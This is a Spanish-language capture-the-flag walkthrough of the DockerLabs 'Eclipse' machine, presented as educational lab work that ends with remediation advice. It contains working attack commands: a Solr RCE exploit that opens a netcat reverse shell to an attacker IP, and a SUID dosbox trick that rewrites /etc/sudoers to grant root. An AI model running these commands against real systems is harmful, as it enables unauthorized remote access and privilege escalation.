Eclipse
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Eclipse, desarrollada por Xerosec para la plataforma DockerLabs y clasificada con una dificultad Media.
El objetivo es describir detalladamente el proceso de compromiso del sistema, desde la fase de enumeración inicial hasta la obtención de privilegios de root, analizando cada vector de ataque y resaltando las vulnerabilidades explotadas.
La metodología empleada se divide en tres fases principales:
- Reconocimiento: identificación de servicios expuestos y análisis inicial del sistema.
- Explotación: obtención de acceso inicial mediante vulnerabilidades lógicas en la API y servicios expuestos.
- Escalada de privilegios: abuso de configuraciones inseguras y permisos mal asignados para obtener acceso
root.
Todas las acciones descritas se realizaron dentro del entorno aislado proporcionado por DockerLabs, con fines exclusivamente educativos.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Eclipse |
| Autor | Xerosec |
| Dificultad | Medio |
| Fecha | 30/06/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime y despliega la máquina virtual proporcionada utilizando el script oficial:
unzip "Eclipse.zip"sudo bash auto_deploy.sh "Eclipse.tar"Una vez finalizado el despliegue, se obtiene la dirección IP asignada al contenedor:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno
Sección titulada «1.1 Organización del entorno»Se crea una estructura de directorios para mantener el trabajo organizado y documentado:
mkdir -p Eclipse/{content,exploits,nmap,scripts}cd Eclipse1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo de puertos TCP con el objetivo de identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuertos abiertos identificados:
- 80/tcp — HTTP
- 8983/tcp — HTTP (Apache Solr)

1.3 Enumeración HTTP 80
Sección titulada «1.3 Enumeración HTTP 80»Se procede a realizar un escaneo de directorios y extensiones web sobre el servicio HTTP del puerto 80:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js,json -t 100 -C 404
Rutas relevantes encontradas
/index— Muestra únicamente la imagenpinguininja.png./pinguininja.png— Imagen estática de dos pingüinos peleando.
No se identifican funcionalidades dinámicas ni vectores de ataque directos en este servicio.
1.3 Enumeración HTTP 8983
Sección titulada «1.3 Enumeración HTTP 8983»Se repite el proceso de enumeración sobre el servicio web expuesto en el puerto 8983:
feroxbuster -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,html,txt,js,json -t 100 -C 404
Rutas relevantes encontradas
/api— API web accesible sin autenticación
/v2— Segunda versión de la API
/solr— Instancia de Apache Solr
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»Analizando el servicio expuesto en el puerto 8983, se identifica la versión exacta de Apache Solr:

Con esta información, se realiza una búsqueda de vulnerabilidades públicas mediante searchsploit, identificando un exploit de Remote Code Execution que utiliza Velocity Templates.
Se descarga el exploit y se prueba la ejecución de comandos remotos utilizando id:
python3 47572.py 172.17.0.2 8983 idLa ejecución es exitosa:

A continuación, se prepara un listener en la máquina atacante:
nc -nlvp 443Y se ejecuta el exploit para obtener una reverse shell:
python3 47572.py 172.17.0.2 8983 "nc 192.168.0.26 443 -e /bin/bash"Se establece una conexión interactiva exitosa como el usuario ninhack:

Finalmente, se procede a normalizar la TTY para mejorar la interacción con la shell.
3 Escalada de privilegios
Sección titulada «3 Escalada de privilegios»3.2 De ninhack → Root
Sección titulada «3.2 De ninhack → Root»Se comienza revisando los privilegios sudo:
sudo -lEl usuario no dispone de permisos sudo, por lo que se procede a enumerar binarios con permisos SUID:
find / -perm -4000 2>/dev/nullLos resultados obtenidos son los siguientes:

Entre los binarios destaca dosbox, el cual permite montar el sistema de archivos y sobrescribir archivos arbitrarios. Aprovechando esta funcionalidad, se modifica el archivo /etc/sudoers:
LFILE='/etc/sudoers'/usr/bin/dosbox -c 'mount c /' \-c "echo 'root ALL=(ALL:ALL) ALL' > c:$LFILE" \-c "echo '$USER ALL=(ALL) NOPASSWD:ALL' >> c:$LFILE" \-c exitUna vez modificado el archivo, basta con ejecutar:
sudo suObteniendo acceso completo como root:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Uso de una versión vulnerable de Apache Solr con ejecución remota de comandos.
- Falta de autenticación y autorización en servicios administrativos.
- Exposición de servicios internos sin restricciones de acceso.
- Permisos SUID inseguros en binarios interactivos (
dosbox). - Configuración incorrecta de privilegios que permite la modificación de archivos críticos.
Recomendaciones
Sección titulada «Recomendaciones»- Mantener los servicios actualizados y aplicar parches de seguridad.
- Restringir el acceso a servicios administrativos como Apache Solr.
- Implementar controles de autenticación y autorización adecuados.
- Eliminar permisos SUID innecesarios en binarios no esenciales.
- Aplicar el principio de mínimo privilegio a usuarios y servicios.
- Auditar periódicamente la configuración del sistema y sus permisos.